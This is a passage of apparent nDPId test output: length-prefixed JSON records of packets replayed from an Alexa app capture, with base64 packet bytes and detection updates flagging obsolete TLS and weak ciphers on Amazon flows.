HnxCiP6LHNTp+vmSfyvHJn8ffOAqryp0\/xPx1e6hrnc0d9wkizOzQGd+gkO\/nM0gzeFWFFsm4p7QiG2GTlPMvxMRBKXCkfm0M+b+ay7cU1wLfO6CcJ\/RK\/DHq7kA4qKomuMLJqvrcBAOfmH9RwjJPFskEy+G3EcZozGfxI7KDpgGy7yBvTDInBuH9egGCXoPqKLQ+RtsxmZx9LYboIPibPO9V1Ymw8IyozieW04J2sjgkHPZlw8uTJf+hyhy+Pv3d5nRZTNyHpqjZzAcduYV0mzCkf4ex7+6+WXgBxd2I6ohkqySzMVZu\/QdkgNcwAEORrZ7G0kXeV5CnW8yB996Y\/g6e9YhEsJVvTdkdXe8QH3XrDwIiDYL4A2Tp\/4pHKF4CNBAIkuDZsJ8ZHuCItyYGAyuSxDf1qFk\/tmS9ttM3TaCp1gpCJw6UVDd8piJswIo2lvVXc0J\/NvcMyh3i1Rr3mOK7Mf19c5a5LsYDkqJ+EUs4DMI376YB2L5ooh3iuFMWsgRrDkMC8e81y5IHq4oedX8H5W2oLxPaSP0Db+8wkATjIAYw3YI6OZothrC4ORfi6hzphUiiTqPf5y1dL8lZH2dIP73xj1thh0uMw7BdwCb14Pfd161qa47Yc9SWGas3u9Got2L0PuAUjfwSnbjcZ8hIj1BDkPveJrZ4JPIQNiSNnsEtWXdKPiGnETkoHv57Mnu4\/IL7byzP3HA9s65BrPKvFDiOlPMRoET8VLvbj67HWGfzaDyrmScCpSvtrt9yeG21VXk4m82s9ASxo8+gOCmEdrVQUt39eokgktYnkygD2l+pNpIkQIXvIh2NrapVJu0pG6nLvvso7SeE7\/ZlBqNYg3k1LhooQ+ZmaNVTo922weDkNGBjlf\/FZ5Bgi5V4Pe7pG5Wp+9k+PioM2u02mhqpqD039XsXoiVlJOrzgpWOpL+GjfyTjv8G9O52LUs0jBhmaJ862GpT6+3BT8ddZFlYNela7erxRx7AjJcDrjN7PQ2dY\/GfkstoGBm7ncVvcabVQOE1KjZlnZQlATIX+YpfEdzsebOd8e9yM68nMzPG0UnRq4ICoeIMBOrtuieUMiRvw\/HDh6ByfXcFOirjGJ1ZQQuXOJr7GaGDnckIluUmFq6WGWNYHsx3lCMeBR9sBom3464vLORNkPTvBCUZ97P5BATrGRhRn1BTYW+57E="} +00425{"flow_id":87,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1338,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":241241,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAofqZAAOcGIVw0XuiGrBAq2AG7so2w2zhJvRy361AQf\/cpmgAAAAAAAAAA"} +00428{"flow_id":91,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1339,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":282675,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwkgFAAOcGDfk0XuiGrBAq2ABQwds2rrGpGjBje3ASH\/5IDwAAAgQFtAEDAwY="} +00415{"flow_id":91,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1340,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":284091,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoAmJAAEAGRKGsECrYNF7ohsHbAFAaMGN7Nq6xqlAQAVeSgAAA"} +00415{"flow_id":91,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1341,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":294432,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoAmNAAEAGRKCsECrYNF7ohsHbAFAaMGN7Nq6xqlARAVeSfwAA"} +00536{"flow_id":93,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1343,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":313083,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9oyNAAOcG\/Ik0XuiGrBAq2AG7spNBzzb40hcuwFAYf\/gzBgAAFgMBAEoCAABGAwFY3n1aF6lPPNih6vU2L516RRA2PNaAuJQVoSG0DdNj8SCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00852{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1343,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":93,"flow_packet_id":5,"flow_first_seen":1490976089239,"flow_last_seen":1490976090313,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45715,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00492{"flow_id":93,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1344,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":313127,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdoytAAOcG\/KE0XuiGrBAq2AG7spNBzzdN0hcuwFAYf\/jUMQAAFgMBADA0x1J7d28auzJxT4u1gKAxdUtWHUew0ZE\/2kS5Yg5wnR4VIrBhZAM9ViqPAHjPKYs="} +00535{"flow_id":90,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1345,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":313160,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9+spAAOcGpOI0XuiGrBAq2AG7spCu8tJnAyB2TVAYf\/h1PwAAFgMBAEoCAABGAwFY3n1a2HUEHb8l+gdOfm0Wpe53BCEMctORC57U0hROwiCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00852{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1345,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":90,"flow_packet_id":8,"flow_first_seen":1490976088958,"flow_last_seen":1490976090313,"flow_tot_l4_data_len":540,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":67,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45712,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00536{"flow_id":92,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1346,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":313192,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9gXVAAOcGHjg0XuiGrBAq2AG7spKfnILWmm2\/qlAYf\/graAAAFgMBAEoCAABGAwFY3n1ai4AZfffdz5bHBi2EULPj6iyOuJD7kDTLpt0SsyCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00852{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1346,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":92,"flow_packet_id":5,"flow_first_seen":1490976089227,"flow_last_seen":1490976090313,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45714,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00424{"flow_id":87,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1347,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":313223,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAogXlAAOcGHok0XuiGrBAq2AG7so2w2zhJvRy6pVAQf+wm6wAAAAAAAAAA"} +00490{"flow_id":90,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1348,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":313255,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABd+tBAAOcGpPw0XuiGrBAq2AG7spCu8tK8AyB2TVAYf\/ihaAAAFgMBADDHfuUUhfI1VeevQcG7Dtps2YOp0PzTwPXBH9I11FOaaptlvKvSxGvagTHcLnkxJmc="} +00491{"flow_id":92,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1349,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":313290,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdgXtAAOcGHlI0XuiGrBAq2AG7spKfnIMrmm2\/qlAYf\/gFiAAAFgMBADDdEn3FnYpyhAP6tAWBSGDR3e8YizyMcWbhCxETNYkJSRnD2z4Ks3QnAjsWHd6G06I="} +00424{"flow_id":94,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1350,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":313380,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo829AANsGuJI0XuiGrBAq2ABQwd5KW8E8IbEJPlAQf\/BDYQAAAAAAAAAA"} +00425{"flow_id":88,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1352,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":314097,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAo5ThAAOcGusk0XuiGrBAq2AG7so5AYHGEhKZV31AQf\/f7WwAAAAAAAAAA"} +00663{"flow_id":94,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1353,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":314135,"pkt_caplen":237,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":237,"pkt_l4_len":203,"pkt":"ePiC0\/vCAMDKkVoBCABFAADf83BAANsGt9o0XuiGrBAq2ABQwd5KW8E8IbEJPlAYf\/AGlwAASFRUUC8xLjEgNDA0IE5vdCBGb3VuZA0KeC1hbXpuLVJlcXVlc3RJZDogNGRjYTdkMmMtMTYyYi0xMWU3LTg0YWUtMjM3ZDcwMTMyNzhkDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMjANCkRhdGU6IEZyaSwgMzEgTWFyIDIwMTcgMTY6MDE6MzAgR01UDQoNCh+LCAAAAAAAAAADAAAAAAAAAAAA"} +00415{"flow_id":93,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1354,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":316810,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoTP5AAEAG+gSsECrYNF7ohrKTAbvSFy7AQc83TVAQAVeMbQAA"} +00415{"flow_id":93,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1355,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":317738,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoTP9AAEAG+gOsECrYNF7ohrKTAbvSFy7AQc83glAQAVeMOAAA"} +00416{"flow_id":90,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1356,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":317980,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoFFdAAEAGMqysECrYNF7ohrKQAbsDIHZNrvLSvFAQAVcLSAAA"} +00415{"flow_id":92,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1357,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":318130,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo35NAAEAGZ2+sECrYNF7ohrKSAbuabb+qn5yDK1AQAVeJggAA"} +00416{"flow_id":90,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1358,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":318257,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoFFhAAEAGMqusECrYNF7ohrKQAbsDIHZNrvLS8VAQAVcLEwAA"} +00415{"flow_id":92,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1359,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":318407,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo35RAAEAGZ26sECrYNF7ohrKSAbuabb+qn5yDYFAQAVeJTQAA"} +00498{"flow_id":93,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1360,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":318529,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjTQBAAEAG+cesECrYNF7ohrKTAbvSFy7AQc83glAYAVfM2wAAFAMBAAEBFgMBADCXr4\/yt4GiwUGcbuFVCB2cBxuznUFWEZgKJVh+bLDy4IIkx5KJKIWQCWkDIkdu8RQ="} +00415{"flow_id":94,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1362,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":318829,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoZGpAAEAG4pisECrYNF7ohsHeAFAhsQk+SlvB81AQAVvBPwAA"} +00499{"flow_id":90,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1363,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":329951,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjFFlAAEAGMm+sECrYNF7ohrKQAbsDIHZNrvLS8VAYAVekygAAFAMBAAEBFgMBADB+QDOBKB6DiUBA1lzxRbrQZIb\/O2BlPKwdonL6yWLccgEqt1tGdPJGYB0bGLj9gTE="} +00498{"flow_id":92,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1365,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":342356,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABj35VAAEAGZzKsECrYNF7ohrKSAbuabb+qn5yDYFAYAVcm7wAAFAMBAAEBFgMBADDshyTVInbRbN2ymc2iEmiDsTOenwGfxs\/W7cVyh669hp8Femd5jT235TED1jmIn5Q="} +02402{"flow_id":93,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1367,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":362522,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcTQFAAEAG9E2sECrYNF7ohrKTAbvSFy77Qc83glAQAVenLQAAFwMBACD44FHjMfKewfxzYudxIpXCLItB1NQV1muzY\/d798KlbBcDAQZgoZInXHO9a\/RDDSeVUYBvycvA+lS55aPWGYYDHweR1MZA14GeeL19BzQ2hCPJsF0aTTB4YweLpKJF\/kfHoxQ\/Fw3qHRcH9I6qbhb5e+O3CNrELRczYGqEB8hcsA0Y0OyrYGC0BmFkwFsiE2svYlHUsIBdscNt4gzJG\/XkjXpTKhNSwTHXi\/4j\/N3T9gFwsOscfLT6CH3ZSXAK1isi5PE5Gs1eU3CqMd8qgGHaYuaBewyQbS+4dKhNHU2QgmKN8BJo25LfzNEC0AivMD28lAq+J4Wa80fDRt71SDzLwze+m3ULSRverhurIqpNuZFda\/3gnNpbsdGuZJmmo4c+bUdpd8mjwyYflr6VJugHyeI5CFM1G7jT5FCZ8X8UT243wurvWrtFZVQENmBLl9+hFtub7Fuv1TQIXsUIdoXtlR+6EWUeMsW9QleyFbHJ6nVVt5nKiNX0DqGCUdyiA3+ygyM4PjEdwXqP+sMmLM1uKdLCEX7bN1vl8U9g+H14nTlqWgcKGrDWDIm5njQSFgrLTq0DZQMu\/LQjVNY60WnUVFZ9capl9ccErsRT6QLuHcwhWROSEpap+6asa9hoWITyQnHHf+Pbm9I\/f14p1EAPsdYiM3f40B7GCbsB4xiKa3RgPw+L7GKP2ip2\/u+nzD3We0GLN+wfE26o5\/nYjFnEgkrJ2pHao6z5EPxXDupdDVIvi\/PoyVvlUq+D\/Ge6z7wm5zFQ5IJq3RGdeNrRFyg\/OCsjQ0IwpIN5CQT3jbWJKcuzRyXpOTxkW8m5SUiEh55evA+BDSjUAQSbpUAjue6h7J4jbhfFOqKykVETYA47aosSgS459rVz3cetKpF+aO+bhGOdLkRanshFLnFaKbnnafNcVIOR409K84abACiKi7WWOTFacDzKqcTW4LupNjzvzwqbjNJvCCtGYSBdQc7ZWqy6du53PTHcUaL2KA0y5ypD07P4LdIc2\/K5Wy0cd1SKbLICrOCtfpF9whBJZ+CSR0IE4hmfYnmFZFVDwtMffcaAdFMNOPWTgipuN1XINiLvDyYlb\/Y4F03SyVvRzx3zy+5hUwNF07BMM4eX18n7\/ArEvbHUV4zA2cMsmjEuuUT3ywqzrI7XvbdXkLC4q3e10X\/n1CEWpbNcbgIEqB+eYJEI2biPUwBW7S\/Dnkc9NSwrZ\/x\/euPEUXK4CSGgGq8Ij5IUKtV1aqcHTN7waVrVCJl9Q\/RZViK7+SGkqubZ0P+7RhQFbcxwuUFdzRT6jtOcaV+dGnEBgErFPxEomB8JaXlP9OHaQqx5oBi91MLoprKZBTUYOvA4F77Xv9YVFMXwxU\/kxaFIY6H6QP35OocijPkzgLvohZjd4jHabCA7mQXqZw4m5XO+E1PM2pNVMgKlaSzCbp3jIKdgO5mpO1qYK1f0cR2SHN2OQXATtF+ccd\/wUmFaz3gs6BUNnkrQqt6\/+GVaw8Twe6+uqeQWiASsmo8WpBlAJQM76jEAvJ+g\/ovnKk6Cga4RYti4\/9RK01c5pQU1I9BWLJj2xw24mjzaSFssO6l9DB4N7ewSncF0NkjCSgwhzSvj40H0flwRbpZrkso9VcM0WTJjidMTaM\/be473zZS7hr9grGj8F0sl3yf9czWS\/Ld4INvTwCa0bWrHck8K3JAvmYPDlJ0jouHthuvu9VvK+UtN9GhtImMvmNFPCqsNDyrTjsd\/hNs9cLghY1KAq+3bli+ziN0ZH\/hT8HJu3PTKTcveWkvgroBSHw0HiliaiFMBDkJW5Bg0NWNHaQpstQLx+vMRyO3zZOoIe8ScON4IDApzUAhXYVJXgytEDD8pZweKtucxXCP1MBvXhqArIViFE7a3AkcAuJQSCf+JxUG5GterlIwh2UkjzhfbMzNoSkFIJBDA2SUw0E4="} +00709{"flow_id":93,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1368,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":364491,"pkt_caplen":268,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":268,"pkt_l4_len":234,"pkt":"AMDKkaPvePiC0\/vCCABFAAD+TQJAAEAG+SqsECrYNF7ohrKTAbvSFzSvQc83glAYAVe8ngAA58EZT8d2kwcBeLjXo89JZC0OpowLKB5l6w0+Tdh25bRMzhtVBRQefquUxXZz\/sMi1lSxWRjKY7lHfBBD0MDrgWfqjiVs2FYwgln0ECAFkrOiF\/8ZNIyNvSWb+xRt9yLX3QKkN4dhDCi4bwZVhWTOEDTQZPaUr3q1RC7zrLOzyyDk4ln9u4dAvNGmTPrSiq40a8FCBpyD+0SI3+xZ+IU5wmdC81TDZdqsQcc6m6wkYMtQYkEqiqsxsIcfWYdrvWNkWbGcnlSZeTxShXptzBGVyGDyKSFSmg=="} +02396{"flow_id":90,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1369,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976090,"pkt_ts_usec":364739,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcFFpAAEAGLPWsECrYNF7ohrKQAbsDIHaIrvLS8VAQAVdwYgAAFwMBACDiFGt3P8H00bwqeclGLndjLOb7EtGRR3+9lH6bsVvM5hcDAQZgV+jfZzFhRRVKWM59IpGTceGuIM3g1HCU8t53\/Pfi01Da3fA2nyr5yW59dTa4tBOOHWD+9dLhncP+rukT9G+CmFH73\/\/q8cLAlsDNCeIO38pKN\/j+4pahP9CX86bzoV7IdtmI7OUBXlKA2QU1sqmnBaZF+bWB7HY48o\/jE6IjncDfj\/j82lx1Hm2wDjJrDPlOsKMpgWZmYB7pxb45WQldo3IO9moSrO45yIyLtE\/fnctF64VxQXXBFi7MaiRacocvQuOyHVTyBYkPKGVNdQrKKgXOT902KqNP85gILmF3v1VJkXW3YjctpPCsP7zdbiX9mhdBX+tkvCb6J0qDIAt1Oqski3lHZK9Fwc3eZUy85uouDrgmRLbnHg2mRvD0vvkeu3JnedeyM1LnFZty3+JLj9T85a5QBoUOWjeFnsIZYbei6Lb6mRXBGHDgA7RDvA7NOnqLuTN86xEBAjXhB6DIJmT77r9DFJZ\/Y0kOzUNVetNnZ1Id89udQ38tCPcL6B7AuOXK+7ChpkOT3AfObjoLkxzcUqADbBohMTzw8FdshqCZ\/VtwreUngvPWoKN2Nm4vrB3JXvZQSQ2wIn4IGi\/IpKStES4MZiubHljkbiqI4OyP6\/kNT0PoZeBVl8ufXs0587xgxPQLtfBJlVlovFFVECPjwCT6LhTTx2pZz3ss+PaZm80W4KUnqn\/jXGRE92lj9+0BgWYPBbMy6Y+DeATSYNdUqYFi0DtnG0JDueFidWj9Bumc+iZW0TlA5nSATzPAYvIfzNJaYYTtYAbInWkCPiFpOt9IctAtdE4WvR6vFYeQfVCyaLJkkFPQjbBWBNkhtoxS6Z2Cc8pPRYlUXQm8Z2y\/bHLfkWAalrzAmwxoxTzfXTmGN35pSYM5Lvgk3n2HHWYALVAE7AKFx\/HMIl7lrmgsOhwSKNHT4dQjPO43LZPUR4o7jldClDhYl6PQI6JCKaQthCMd0XV6B7Kw2B+jUvf0N\/U0NG0tfvwwoB2bPGfnP87w2A+MKiPmpi1A1nMOY8DkHY666YC\/T2Fp3Hq8WteRn3Qtu6g79sYQUUAH6iWyPwyhYSpiyED7Y9GtQbe3B48d5Z6UyBTNGM5bEPJTku46ojefsGtLi5ua9JR+AVpf\/5TC39sxjt6qSHY3qoI4+uZPSSZMhqJd+nUtIXNc7nPWXIOkIuPA4O95giBWIZaTVORwBb5DfrSqpwxaRlWPOz0Y09\/mjyIdybd2+VC7GFoxiADW0oC7v8Y6F7F1vToHTHUGrpypDLdQIKexKDdGI8JBA0+JNR4boiO9GAftFYjqYQz0BG4y+Iqj6YAUPfg1AISuoeZcmxqnM3gddbE6WLVCqY0Hyw0Z26go7auo+Dc3gIqyNSpGh8sATcqG3Lfk5F8Fod8YewQFA99sNf8Lvlx9XrzBXz5ODAbHprj0UkIcxJ6oLqNU7ng9J5tlRqoaCiBZLSxytZiZsBtqwYaKxr0GGEsR4BzxhOtay+\/eVET3MX7jXlO81o\/25AysQ6YpoPrEF0wJ2EV1P6ClcdD0NI5L\/8La9EAGTcRmn6Hwmjg2VT4+\/qJctRGn+pR5e+FUJeemESB2RJyVVrr\/2VRTadxJqtPObpqaKZ49oMxJ9VTgavPZ4tjn42wML+yQuhc6Waz\/YltGBxvay04IHBNYF8zuk2BR3sCDn0p1gz+\/f+799odmDtPHnQNkQSZ8tXi1uo4vJjYhLlnrxvcme\/SimVZcXwa5FJC0+rBkO8JvqOngnLy9kwv3vwMzfsbe9JXSH9NK69XSy1jhabdEQxq9gxmOB